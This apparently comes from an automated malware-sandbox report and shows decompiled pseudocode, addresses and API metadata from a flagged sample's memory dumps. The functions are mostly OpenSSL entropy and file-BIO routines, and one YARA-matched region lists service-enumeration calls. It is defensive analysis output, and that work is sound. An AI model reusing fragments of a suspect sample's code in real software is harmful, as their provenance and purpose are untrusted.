                          					asm("movsd xmm0, [0x6d543198]");
                          					asm("movsd [esp], xmm0");
                          					E6D4C3C90(_t140, _t145, _t146 - 0x46c,  *((intOrPtr*)(_t146 - 0x46c)));
                          					_t148 = _t148 + 0x10;
                          					_push(_t146 - 0x46c);
                          					if( *((intOrPtr*)(_t146 - 0x418))() == 0 || _t140 != 0 && GetTickCount() -  *((intOrPtr*)(_t146 - 0x3fc)) >= 0x3e8) {
                          						goto L7;
                          					}
                          					L6:
                          					_t145 = _t145 - 1;
                          					 *((intOrPtr*)(_t146 - 0x444)) = _t145;
                          					if(_t145 > 0) {
                          						while(1) {
                          							L3:
                          							E6D51FEE0(8);
                          							asm("movsd xmm0, [0x6d543198]");
                          							asm("movsd [esp], xmm0");
                          							E6D4C3C90(_t140, _t145, _t146 - 0x46c,  *((intOrPtr*)(_t146 - 0x46c)));
                          							_t148 = _t148 + 0x10;
                          							_push(_t146 - 0x46c);
                          							if( *((intOrPtr*)(_t146 - 0x418))() == 0 || _t140 != 0 && GetTickCount() -  *((intOrPtr*)(_t146 - 0x3fc)) >= 0x3e8) {
                          								goto L7;
                          							}
                          							goto L6;
                          						}
                          					}
                          					L7:
                          					_t142 =  *((intOrPtr*)(_t146 - 0x404));
                          					while(1) {
                          						asm("wait");
                          						 *((intOrPtr*)(_t146 - 4)) = 0xfffffffe;
                          						_push(_t146 - 0x6c);
                          						_push( *((intOrPtr*)(_t146 - 0x400)));
                          						if( *((intOrPtr*)(_t146 - 0x40c))() == 0 || _t140 != 0 && GetTickCount() -  *((intOrPtr*)(_t146 - 0x3fc)) >= 0x3e8 || _t142 <= 0) {
                          							break;
                          						}
                          						E6D51FEE0(8);
                          						asm("movsd xmm0, [0x6d543190]");
                          						asm("movsd [esp], xmm0");
                          						E6D4C3C90(_t140, _t142, _t146 - 0x6c,  *((intOrPtr*)(_t146 - 0x6c)));
                          						_t148 = _t148 + 0x10;
                          						asm("wait");
                          						 *((intOrPtr*)(_t146 - 4)) = 0;
                          						asm("xorps xmm0, xmm0");
                          						asm("movdqu [ebp-0x46c], xmm0");
                          						asm("movdqu [ebp-0x45c], xmm0");
                          						 *((intOrPtr*)(_t146 - 0x44c)) = 0;
                          						 *((intOrPtr*)(_t146 - 0x46c)) = 0x24;
                          						_push( *((intOrPtr*)(_t146 - 0x64)));
                          						_push( *((intOrPtr*)(_t146 - 0x68)));
                          						_push(_t146 - 0x46c);
                          						if( *((intOrPtr*)(_t146 - 0x420))() != 0) {
                          							_t145 = 0x50;
                          							 *((intOrPtr*)(_t146 - 0x444)) = 0x50;
                          							goto L3;
                          						}
                          					}
                          					 *((intOrPtr*)(_t146 - 0x1d4)) = 0x128;
                          					_t143 = GetTickCount;
                          					if(_t140 != 0) {
                          						 *((intOrPtr*)(_t146 - 0x3fc)) = GetTickCount();
                          					}
                          					_push(_t146 - 0x1d4);
                          					_push( *((intOrPtr*)(_t146 - 0x400)));
                          					if( *((intOrPtr*)(_t146 - 0x43c))() != 0) {
                          						do {
                          							E6D51FEE0(8);
                          							asm("movsd xmm0, [0x6d5431a8]");
                          							asm("movsd [esp], xmm0");
                          							E6D4C3C90(_t140, _t143, _t146 - 0x1d4,  *((intOrPtr*)(_t146 - 0x1d4)));
                          							_t148 = _t148 + 0x10;
                          							_push(_t146 - 0x1d4);
                          							_push( *((intOrPtr*)(_t146 - 0x400)));
                          						} while ( *((intOrPtr*)(_t146 - 0x434))() != 0 && (_t140 == 0 || GetTickCount() -  *((intOrPtr*)(_t146 - 0x3fc)) < 0x3e8));
                          					}
                          					 *((intOrPtr*)(_t146 - 0x8c)) = 0x1c;
                          					if(_t140 != 0) {
                          						 *((intOrPtr*)(_t146 - 0x3fc)) = GetTickCount();
                          					}
                          					_push(_t146 - 0x8c);
                          					_push( *((intOrPtr*)(_t146 - 0x400)));
                          					if( *((intOrPtr*)(_t146 - 0x438))() != 0) {
                          						do {
                          							E6D51FEE0(8);
                          							asm("movsd xmm0, [0x6d5431a0]");
                          							asm("movsd [esp], xmm0");
                          							E6D4C3C90(_t140, _t143, _t146 - 0x8c,  *((intOrPtr*)(_t146 - 0x8c)));
                          							_t148 = _t148 + 0x10;
                          							_push(_t146 - 0x8c);
                          							_push( *((intOrPtr*)(_t146 - 0x400)));
                          						} while ( *((intOrPtr*)(_t146 - 0x428))() != 0 && (_t140 == 0 || GetTickCount() -  *((intOrPtr*)(_t146 - 0x3fc)) < 0x3e8));
                          					}
                          					 *((intOrPtr*)(_t146 - 0x3f8)) = 0x224;
                          					if(_t140 != 0) {
                          						 *((intOrPtr*)(_t146 - 0x3fc)) = GetTickCount();
                          					}
                          					_push(_t146 - 0x3f8);
                          					_push( *((intOrPtr*)(_t146 - 0x400)));
                          					if( *((intOrPtr*)(_t146 - 0x410))() != 0) {
                          						do {
                          							E6D51FEE0(8);
                          							asm("movsd xmm0, [0x6d5431a8]");
                          							asm("movsd [esp], xmm0");
                          							E6D4C3C90(_t140, _t143, _t146 - 0x3f8,  *((intOrPtr*)(_t146 - 0x3f8)));
                          							_t148 = _t148 + 0x10;
                          							_push(_t146 - 0x3f8);
                          							_push( *((intOrPtr*)(_t146 - 0x400)));
                          						} while ( *((intOrPtr*)(_t146 - 0x440))() != 0 && (_t140 == 0 || GetTickCount() -  *((intOrPtr*)(_t146 - 0x3fc)) < 0x3e8));
                          					}
                          					_t79 =  *((intOrPtr*)(_t146 - 0x448));
                          					_push( *((intOrPtr*)(_t146 - 0x400)));
                          					if(_t79 == 0) {
                          						CloseHandle();
                          					} else {
                          						 *_t79();
                          					}
                          					FreeLibrary( *(_t146 - 0x408));
                          					E6D4CDC80(_t140, _t143);
                          					GlobalMemoryStatus(_t146 - 0xac);
                          					E6D51FEE0(8);
                          					asm("movsd xmm0, [0x6d532eb8]");
                          					asm("movsd [esp], xmm0");
                          					E6D4C3C90(_t140, _t143, _t146 - 0xac, 0x20);
                          					 *((intOrPtr*)(_t146 - 0x430)) = GetCurrentProcessId();
                          					E6D51FEE0(8);
                          					asm("movsd xmm0, [0x6d532eb8]");
                          					asm("movsd [esp], xmm0");
                          					E6D4C3C90(_t140, _t143, _t146 - 0x430, 4);
                          					 *[fs:0x0] =  *((intOrPtr*)(_t146 - 0x10));
                          					_pop(_t141);
                          					_pop(_t144);
                          					_pop(_t134);
                          					return E6D51FED0(_t134,  *(_t146 - 0x1c) ^ _t146, _t139, _t141, _t144);
                          				}
                          			}














                          0x6d4cd959
                          0x6d4cd959
                          0x6d4cd959
                          0x6d4cd960
                          0x6d4cd960
                          0x6d4cd965
                          0x6d4cd96a
                          0x6d4cd972
                          0x6d4cd984
                          0x6d4cd989
                          0x6d4cd992
                          0x6d4cd99b
                          0x00000000
                          0x00000000
                          0x6d4cd9b4
                          0x6d4cd9b4
                          0x6d4cd9b5
                          0x6d4cd9bd
                          0x6d4cd960
                          0x6d4cd960
                          0x6d4cd965
                          0x6d4cd96a
                          0x6d4cd972
                          0x6d4cd984
                          0x6d4cd989
                          0x6d4cd992
                          0x6d4cd99b
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4cd99b
                          0x6d4cd960
                          0x6d4cd9bf
                          0x6d4cd9bf
                          0x6d4cd9c5
                          0x6d4cd9c5
                          0x6d4cd9c6
                          0x6d4cda01
                          0x6d4cda02
                          0x6d4cda10
                          0x00000000
                          0x00000000
                          0x6d4cd8e5
                          0x6d4cd8ea
                          0x6d4cd8f2
                          0x6d4cd8fe
                          0x6d4cd903
                          0x6d4cd906
                          0x6d4cd907
                          0x6d4cd90e
                          0x6d4cd911
                          0x6d4cd919
                          0x6d4cd921
                          0x6d4cd92b
                          0x6d4cd935
                          0x6d4cd938
                          0x6d4cd941
                          0x6d4cd94a
                          0x6d4cd94c
                          0x6d4cd951
                          0x00000000
                          0x6d4cd951
                          0x6d4cd94a
                          0x6d4cda31
                          0x6d4cda3b
                          0x6d4cda43
                          0x6d4cda47
                          0x6d4cda47
                          0x6d4cda53
                          0x6d4cda54
                          0x6d4cda62
                          0x6d4cda64
                          0x6d4cda69
                          0x6d4cda6e
                          0x6d4cda76
                          0x6d4cda88
                          0x6d4cda8d
                          0x6d4cda96
                          0x6d4cda97
                          0x6d4cdaa3
                          0x6d4cda64
                          0x6d4cdaba
                          0x6d4cdac6
                          0x6d4cdaca
                          0x6d4cdaca
                          0x6d4cdad6
                          0x6d4cdad7
                          0x6d4cdae5
                          0x6d4cdaf0
                          0x6d4cdaf5
                          0x6d4cdafa
                          0x6d4cdb02
                          0x6d4cdb14
                          0x6d4cdb19
                          0x6d4cdb22
                          0x6d4cdb23
                          0x6d4cdb2f
                          0x6d4cdaf0
                          0x6d4cdb46
                          0x6d4cdb52
                          0x6d4cdb56
                          0x6d4cdb56
                          0x6d4cdb62
                          0x6d4cdb63
                          0x6d4cdb71
                          0x6d4cdb73
                          0x6d4cdb78
                          0x6d4cdb7d
                          0x6d4cdb85
                          0x6d4cdb97
                          0x6d4cdb9c
                          0x6d4cdba5
                          0x6d4cdba6
                          0x6d4cdbb2
                          0x6d4cdb73
                          0x6d4cdbc9
                          0x6d4cdbcf
                          0x6d4cdbd7
                          0x6d4cdbdd
                          0x6d4cdbd9
                          0x6d4cdbd9
                          0x6d4cdbd9
                          0x6d4cdbe9
                          0x6d4cdbef
                          0x6d4cdbfb
                          0x6d4cdc06
                          0x6d4cdc0b
                          0x6d4cdc13
                          0x6d4cdc21
                          0x6d4cdc2f
                          0x6d4cdc3a
                          0x6d4cdc3f
                          0x6d4cdc47
                          0x6d4cdc55
                          0x6d4cdc65
                          0x6d4cdc6d
                          0x6d4cdc6e
                          0x6d4cdc6f
                          0x6d4cdc7d
                          0x6d4cdc7d

                          APIs
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: CountTick
                          • String ID:
                          • API String ID: 536389180-0
                          • Opcode ID: 437b4473accbe499cd327c6246072e543722b932122df750bfbddf0a3b5bca44
                          • Instruction ID: b69367f3ca62c7143a6d082c35b5db0ae80c6cbbe614b14ea6e4ba04986b7f3e
                          • Opcode Fuzzy Hash: 437b4473accbe499cd327c6246072e543722b932122df750bfbddf0a3b5bca44
                          • Instruction Fuzzy Hash: 2D714E79D4462A9BEF219F64CC44BADB779FF81304F0241E5E61DA6240EB318E848F62
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • GetTickCount.KERNEL32 ref: 029A5E4E
                          • EnumDependentServicesW.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000), ref: 029A5E6A
                          • RtlGetLastWin32Error.NTDLL ref: 029A5E7B
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: CountDependentEnumErrorLastServicesTickWin32
                          • String ID:
                          • API String ID: 128278716-0
                          • Opcode ID: d73761493f3358cdf52faf8fb2dc7e11389fa531ce76294087f5d91b24fa2980
                          • Instruction ID: a2e7a765119381f6b98ea155a91cc3893854765a6718661a776f3185e453b3f9
                          • Opcode Fuzzy Hash: d73761493f3358cdf52faf8fb2dc7e11389fa531ce76294087f5d91b24fa2980
                          • Instruction Fuzzy Hash: 28417C31E44209BFDB229FA1ED98AAFBBBDFF44351F514526F805E6110E7308A11CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 78%
                          			E6D4CA6A0(void* __edx) {
                          				void* _t44;
                          				intOrPtr _t49;
                          				void* _t56;
                          
                          				_t44 =  *((intOrPtr*)(_t56 + 8)) - 1;
                          				_t49 =  *((intOrPtr*)( *((intOrPtr*)(_t56 + 0xc)) + 0x20));
                          				if(_t44 > 0x84) {
                          					L35:
                          					goto L36;
                          				} else {
                          					switch( *((intOrPtr*)(( *(_t44 + 0x6d4ca94c) & 0x000000ff) * 4 +  &M6D4CA920))) {
                          						case 0:
                          							_push(0);
                          							_push( *((intOrPtr*)(_t56 + 0x20)));
                          							_push(_t49);
                          							return E6D52259B(_t48, __edx, _t51, 1, _t58);
                          							goto L37;
                          						case 1:
                          							__eax = E6D521E23(__ecx);
                          							__esi = __eax;
                          							return __eax;
                          							goto L37;
                          						case 2:
                          							_push(__ecx);
                          							__eax = E6D5229AE(__ebx, __edx, __edi, __esi, __eflags);
                          							__esp = __esp + 4;
                          							__esi = __eax;
                          							return __eax;
                          							goto L37;
                          						case 3:
                          							__esi =  *(__ebp + 0x10);
                          							__eax =  *(__ebp + 0x10);
                          							return  *(__ebp + 0x10);
                          							goto L37;
                          						case 4:
                          							__eax =  *(__esp + 0x1c);
                          							 *(__ebp + 0x10) =  *(__esp + 0x1c);
                          							__eax = __esi;
                          							return __esi;
                          							goto L37;
                          						case 5:
                          							_push(__ecx);
                          							__eax = E6D521F22(__ebx, __edi, __esi, __eflags);
                          							__esp = __esp + 4;
                          							__eflags = __eax - 0xffffffff;
                          							if(__eflags == 0) {
                          								GetLastError() = E6D4C3670(__ebx, __edx, __edi, __eflags, 2, 0x12, __eax, ".\\crypto\\bio\\bss_file.c", 0x1b2);
                          								E6D4C3220(1, "fflush()") = E6D4C3670(__ebx, __edx, __edi, __eflags, 0x20, 0x74, 2, ".\\crypto\\bio\\bss_file.c", 0x1b4);
                          								goto L35;
                          							}
                          							goto L36;
                          						case 6:
                          							L36:
                          							return 0;
                          							goto L37;
                          						case 7:
                          							__eax = E6D4CAA10(__ebp);
                          							__ebx =  *(__esp + 0x20);
                          							__ebx = __ebx & 0x00000001;
                          							 *(__ebp + 0xc) = 1;
                          							 *(__ebp + 0x10) = __ebx & 0x00000001;
                          							__eax =  *(__esp + 0x24);
                          							 *(__ebp + 0x20) =  *(__esp + 0x24);
                          							__eax = E6D52219E( *(__esp + 0x24));
                          							__eflags = __bl & 0x00000010;
                          							if(__eflags == 0) {
                          								_push(0x8000);
                          								_push(__eax);
                          								__eax = E6D522D86(__ebx, __edi, __esi, __eflags);
                          								__esp = __esp + 8;
                          								__eax = __esi;
                          								return __esi;
                          							} else {
                          								_push(0x4000);
                          								_push(__eax);
                          								__eax = E6D522D86(__ebx, __edi, __esi, __eflags);
                          								__esp = __esp + 8;
                          								__eax = __esi;
                          								return __esi;
                          							}
                          							goto L37;
                          						case 8:
                          							__eax =  *(__esp + 0x20);
                          							__eflags = __eax;
                          							if(__eax == 0) {
                          								goto L36;
                          							} else {
                          								 *__eax = __ecx;
                          								__eax = __esi;
                          								return __esi;
                          							}
                          							goto L37;
                          						case 9:
                          							__eax = E6D4CAA10(__ebp);
                          							__ebx =  *(__esp + 0x20);
                          							__ebx = __ebx & 0x00000001;
                          							 *(__ebp + 0x10) = __ebx & 0x00000001;
                          							__eflags = __bl & 0x00000008;
                          							if((__bl & 0x00000008) == 0) {
                          								__eax = __ebx;
                          								__eax = __ebx & 0x00000002;
                          								__eflags = __eax;
                          								if(__eax == 0) {
                          									__eflags = __bl & 0x00000004;
                          									if((__bl & 0x00000004) == 0) {
                          										goto L17;
                          									} else {
                          										_push(4);
                          										_push("w");
                          										goto L19;
                          									}
                          								} else {
                          									__eflags = __bl & 0x00000004;
                          									if((__bl & 0x00000004) == 0) {
                          										L17:
                          										__eflags = __eax;
                          										if(__eflags == 0) {
                          											__eax = E6D4C3670(__ebx, __edx, __edi, __eflags, 0x20, 0x74, 0x65, ".\\crypto\\bio\\bss_file.c", 0x184);
                          											__esi = 0;
                          											__eflags = 0;
                          											__eax = 0;
                          											return 0;
                          										} else {
                          											_push(4);
                          											_push("r");
                          											goto L19;
                          										}
                          									} else {
                          										_push(4);
                          										_push("r+");
                          										L19:
                          										__eax = __esp + 0x1c;
                          										goto L20;
                          									}
                          								}
                          							} else {
                          								__eax = __esp + 0x14;
                          								_push(4);
                          								__eflags = __bl & 0x00000002;
                          								if((__bl & 0x00000002) == 0) {
                          									_push("a");
                          								} else {
                          									_push("a+");
                          								}
                          								L20:
                          								_push(__eax);
                          								__eax = E6D4C56E0();
                          								__edi = __esp + 0x20;
                          								__esp = __esp + 0xc;
                          								__edi = __edi - 1;
                          								__eflags = __bl & 0x00000010;
                          								if((__bl & 0x00000010) != 0) {
                          									do {
                          										__al =  *(__edi + 1);
                          										__edi = __edi + 1;
                          										__eflags = __al;
                          									} while (__al != 0);
                          									__ax = "t"; // 0x74
                          								} else {
                          									do {
                          										__al =  *(__edi + 1);
                          										__edi = __edi + 1;
                          										__eflags = __al;
                          									} while (__al != 0);
                          									__ax = "b"; // 0x62
                          								}
                          								 *__edi = __ax;
                          								__eax = __esp + 0x14;
                          								__edi =  *(__esp + 0x20);
                          								__eax = E6D4CAB50(__edi, __esp + 0x14);
                          								__eflags = __eax;
                          								if(__eflags != 0) {
                          									 *(__ebp + 0x20) = __eax;
                          									 *(__ebp + 0xc) = __esi;
                          									E6D4CAD60(__ebp, 0) = __esi;
                          									return __esi;
                          								} else {
                          									GetLastError() = E6D4C3670(__ebx, __edx, __edi, __eflags, 2, 1, __eax, ".\\crypto\\bio\\bss_file.c", 0x196);
                          									_push("\')");
                          									__eax = __esp + 0x2c;
                          									_push(__esp + 0x2c);
                          									_push("\',\'");
                          									_push(__edi);
                          									E6D4C3220(5, "fopen(\'") = E6D4C3670(__ebx, __edx, __edi, __eflags, 0x20, 0x74, 2, ".\\crypto\\bio\\bss_file.c", 0x198);
                          									__esi = 0;
                          									__eflags = 0;
                          									__eax = 0;
                          									return 0;
                          								}
                          							}
                          							goto L37;
                          						case 0xa:
                          							goto L35;
                          					}
                          				}
                          				L37:
                          			}






                          0x6d4ca6aa
                          0x6d4ca6b2
                          0x6d4ca6ba
                          0x6d4ca914
                          0x00000000
                          0x6d4ca6c0
                          0x6d4ca6c7
                          0x00000000
                          0x6d4ca6ce
                          0x6d4ca6d0
                          0x6d4ca6d4
                          0x6d4ca6e3
                          0x00000000
                          0x00000000
                          0x6d4ca6e5
                          0x6d4ca6ed
                          0x6d4ca6f3
                          0x00000000
                          0x00000000
                          0x6d4ca6f4
                          0x6d4ca6f5
                          0x6d4ca6fa
                          0x6d4ca6fd
                          0x6d4ca703
                          0x00000000
                          0x00000000
                          0x6d4ca8b0
                          0x6d4ca8b3
                          0x6d4ca8b9
                          0x00000000
                          0x00000000
                          0x6d4ca8ba
                          0x6d4ca8bf
                          0x6d4ca8c2
                          0x6d4ca8c7
                          0x00000000
                          0x00000000
                          0x6d4ca8c8
                          0x6d4ca8c9
                          0x6d4ca8ce
                          0x6d4ca8d1
                          0x6d4ca8d4
                          0x6d4ca8eb
                          0x6d4ca90c
                          0x00000000
                          0x6d4ca911
                          0x00000000
                          0x00000000
                          0x6d4ca917
                          0x6d4ca91c
                          0x00000000
                          0x00000000
                          0x6d4ca705
                          0x6d4ca70a
                          0x6d4ca710
                          0x6d4ca713
                          0x6d4ca716
                          0x6d4ca719
                          0x6d4ca71e
                          0x6d4ca721
                          0x6d4ca729
                          0x6d4ca72c
                          0x6d4ca743
                          0x6d4ca748
                          0x6d4ca749
                          0x6d4ca74e
                          0x6d4ca751
                          0x6d4ca757
                          0x6d4ca72e
                          0x6d4ca72e
                          0x6d4ca733
                          0x6d4ca734
                          0x6d4ca739
                          0x6d4ca73c
                          0x6d4ca742
                          0x6d4ca742
                          0x00000000
                          0x00000000
                          0x6d4ca89f
                          0x6d4ca8a3
                          0x6d4ca8a5
                          0x00000000
                          0x6d4ca8a8
                          0x6d4ca8a8
                          0x6d4ca8aa
                          0x6d4ca8af
                          0x6d4ca8af
                          0x00000000
                          0x00000000
                          0x6d4ca759
                          0x6d4ca75e
                          0x6d4ca767
                          0x6d4ca76a
                          0x6d4ca76d
                          0x6d4ca770
                          0x6d4ca78b
                          0x6d4ca78d
                          0x6d4ca78d
                          0x6d4ca790
                          0x6d4ca7a0
                          0x6d4ca7a3
                          0x00000000
                          0x6d4ca7a5
                          0x6d4ca7a5
                          0x6d4ca7a7
                          0x00000000
                          0x6d4ca7a7
                          0x6d4ca792
                          0x6d4ca792
                          0x6d4ca795
                          0x6d4ca7ae
                          0x6d4ca7ae
                          0x6d4ca7b0
                          0x6d4ca88e
                          0x6d4ca896
                          0x6d4ca896
                          0x6d4ca898
                          0x6d4ca89e
                          0x6d4ca7b6
                          0x6d4ca7b6
                          0x6d4ca7b8
                          0x00000000
                          0x6d4ca7b8
                          0x6d4ca797
                          0x6d4ca797
                          0x6d4ca799
                          0x6d4ca7bd
                          0x6d4ca7bd
                          0x00000000
                          0x6d4ca7bd
                          0x6d4ca795
                          0x6d4ca772
                          0x6d4ca772
                          0x6d4ca776
                          0x6d4ca778
                          0x6d4ca77b
                          0x6d4ca784
                          0x6d4ca77d
                          0x6d4ca77d
                          0x6d4ca77d
                          0x6d4ca7c1
                          0x6d4ca7c1
                          0x6d4ca7c2
                          0x6d4ca7c7
                          0x6d4ca7cb
                          0x6d4ca7ce
                          0x6d4ca7cf
                          0x6d4ca7d2
                          0x6d4ca7e6
                          0x6d4ca7e6
                          0x6d4ca7e9
                          0x6d4ca7ec
                          0x6d4ca7ec
                          0x6d4ca7f0
                          0x6d4ca7d4
                          0x6d4ca7d4
                          0x6d4ca7d4
                          0x6d4ca7d7
                          0x6d4ca7da
                          0x6d4ca7da
                          0x6d4ca7de
                          0x6d4ca7de
                          0x6d4ca7f6
                          0x6d4ca7f9
                          0x6d4ca7fd
                          0x6d4ca803
                          0x6d4ca80b
                          0x6d4ca80d
                          0x6d4ca869
                          0x6d4ca86c
                          0x6d4ca877
                          0x6d4ca87d
                          0x6d4ca80f
                          0x6d4ca824
                          0x6d4ca829
                          0x6d4ca82e
                          0x6d4ca832
                          0x6d4ca833
                          0x6d4ca838
                          0x6d4ca855
                          0x6d4ca85d
                          0x6d4ca85d
                          0x6d4ca85f
                          0x6d4ca865
                          0x6d4ca865
                          0x6d4ca80d
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d4ca6c7
                          0x00000000

                          APIs
                          • _fseek.LIBCMT ref: 6D4CA6D5
                          • __setmode.LIBCMT ref: 6D4CA734
                          • GetLastError.KERNEL32(.\crypto\bio\bss_file.c,00000196), ref: 6D4CA819
                          • GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000001B2), ref: 6D4CA8E0
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ErrorLast$__setmode_fseek
                          • String ID: ','$.\crypto\bio\bss_file.c$fflush()$fopen('
                          • API String ID: 8068463-3314827757
                          • Opcode ID: 14e5f8747177bccfc16c5f38288799ff3d6c44f74894e011ee0ffc3b3203e280
                          • Instruction ID: bb119b219a0a6d87aa9a9eabd34ab073b2382e80bee305083eafbcabbf39568f
                          • Opcode Fuzzy Hash: 14e5f8747177bccfc16c5f38288799ff3d6c44f74894e011ee0ffc3b3203e280
                          • Instruction Fuzzy Hash: 446168BA74631427EB109A58AC03FE9B364EF8472AF018536FB44E6681D362DC0543A3
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • VariantInit.OLEAUT32(?), ref: 029A2F25
                          • VariantInit.OLEAUT32(?), ref: 029A2F2B
                          • SysAllocString.OLEAUT32(?), ref: 029A2F71
                          • SysAllocString.OLEAUT32(?), ref: 029A2F79
                          • VariantClear.OLEAUT32(?), ref: 029A309D
                          • VariantClear.OLEAUT32(?), ref: 029A30A3
                          • SysFreeString.OLEAUT32(00000000), ref: 029A30B0
                          • SysFreeString.OLEAUT32(?), ref: 029A30BA
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: StringVariant$AllocClearFreeInit
                          • String ID: 90
                          • API String ID: 760788290-1770303465
                          • Opcode ID: 74f5ca565246ddd7b64a35fadd140d6e5d47637ed3018f726081e1d55b9efb77
                          • Instruction ID: 2bc058aba0878c532246341a376363764995b9b6a727b2e3ba649df97ebda247
                          • Opcode Fuzzy Hash: 74f5ca565246ddd7b64a35fadd140d6e5d47637ed3018f726081e1d55b9efb77
                          • Instruction Fuzzy Hash: 53513C75E00318AFDB10DBA4CC55FAEB7BDAF88704F154499FA05EB240DA71E9058BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 77%
                          			E6D4C28E0(void* __ebx) {
                          				signed int _v8;
                          				long _v12;
                          				void* _v16;
                          				void* _v24;
                          				void* __edi;
                          				void* __esi;
                          				signed int _t21;
                          				CHAR* _t23;
                          				void* _t30;
                          				unsigned int _t33;
                          				struct HINSTANCE__* _t41;
                          				void* _t42;
                          				void* _t51;
                          				void* _t53;
                          				void* _t54;
                          				long _t55;
                          				signed int _t57;
                          				void* _t58;
                          
                          				_t42 = __ebx;
                          				E6D51FEE0(0xc);
                          				_t21 =  *0x6d57db60; // 0xa6c7de91
                          				_v8 = _t21 ^ _t57;
                          				_t23 =  *0x6d57eec0; // 0x0
                          				if(_t23 != 0) {
                          					L12:
                          					if(_t23 == 0xffffffff) {
                          						goto L6;
                          					} else {
                          						 *_t23();
                          						return E6D51FED0(_t42, _v8 ^ _t57, _t51, _t53, _t55);
                          					}
                          				} else {
                          					_t41 = GetModuleHandleA(_t23);
                          					if(_t41 == 0) {
                          						_t23 =  *0x6d57eec0; // 0x0
                          					} else {
                          						_t23 = GetProcAddress(_t41, "_OPENSSL_isservice");
                          						 *0x6d57eec0 = _t23;
                          					}
                          					if(_t23 != 0) {
                          						goto L12;
                          					} else {
                          						 *0x6d57eec0 = 0xffffffff;
                          						L6:
                          						_t54 = GetProcessWindowStation();
                          						if(_t54 == 0 || GetUserObjectInformationW(_t54, 2, 0, 0,  &_v12) != 0 || GetLastError() != 0x7a) {
                          							L14:
                          							return E6D51FED0(_t42, _v8 ^ _t57, _t51, _t54, _t55);
                          						} else {
                          							_t55 = _v12;
                          							if(_t55 > 0x200) {
                          								goto L14;
                          							} else {
                          								_t55 = _t55 + 0x00000001 & 0xfffffffe;
                          								E6D520F10(_t55 + 2, _t55);
                          								_t30 = _t58;
                          								_v16 = _t30;
                          								if(GetUserObjectInformationW(_t54, 2, _t30, _t55,  &_v12) == 0) {
                          									goto L14;
                          								} else {
                          									_t46 = _v16;
                          									_t33 = _v12 + 0x00000001 & 0xfffffffe;
                          									_v12 = _t33;
                          									_push(L"Service-0x");
                          									 *((short*)(_v16 + (_t33 >> 1) * 2)) = 0;
                          									E6D52051D(_v16);
                          									asm("sbb eax, eax");
                          									return E6D51FED0(_t42, _v8 ^ _t57, 0, _t54, _t55, _t46);
                          								}
                          							}
                          						}
                          					}
                          				}
                          			}





















                          0x6d4c28e0
                          0x6d4c28e8
                          0x6d4c28ed
                          0x6d4c28f4
                          0x6d4c28f7
                          0x6d4c2900
                          0x6d4c29e5
                          0x6d4c29e8
                          0x00000000
                          0x6d4c29ee
                          0x6d4c29ee
                          0x6d4c2a02
                          0x6d4c2a02
                          0x6d4c2906
                          0x6d4c2907
                          0x6d4c290f
                          0x6d4c2924
                          0x6d4c2911
                          0x6d4c2917
                          0x6d4c291d
                          0x6d4c291d
                          0x6d4c292b
                          0x00000000
                          0x6d4c2931
                          0x6d4c2931
                          0x6d4c293b
                          0x6d4c2941
                          0x6d4c2945
                          0x6d4c2a03
                          0x6d4c2a18
                          0x6d4c2973
                          0x6d4c2973
                          0x6d4c297c
                          0x00000000
                          0x6d4c2982
                          0x6d4c2983
                          0x6d4c298c
                          0x6d4c2991
                          0x6d4c299c
                          0x6d4c29a7
                          0x00000000
                          0x6d4c29a9
                          0x6d4c29ae
                          0x6d4c29b2
                          0x6d4c29b5
                          0x6d4c29ba
                          0x6d4c29c0
                          0x6d4c29c4
                          0x6d4c29ce
                          0x6d4c29e4
                          0x6d4c29e4
                          0x6d4c29a7
                          0x6d4c297c
                          0x6d4c2945
                          0x6d4c292b

                          APIs
                          • GetModuleHandleA.KERNEL32(00000000,6D55D018,00000000,00000000,6D4C2AD5), ref: 6D4C2907
                          • GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 6D4C2917
                          • GetProcessWindowStation.USER32(6D55D018,00000000,00000000,6D4C2AD5), ref: 6D4C293B
                          • GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?), ref: 6D4C2956
                          • GetLastError.KERNEL32 ref: 6D4C2964
                          • GetUserObjectInformationW.USER32(00000000,00000002,?,?,?), ref: 6D4C299F
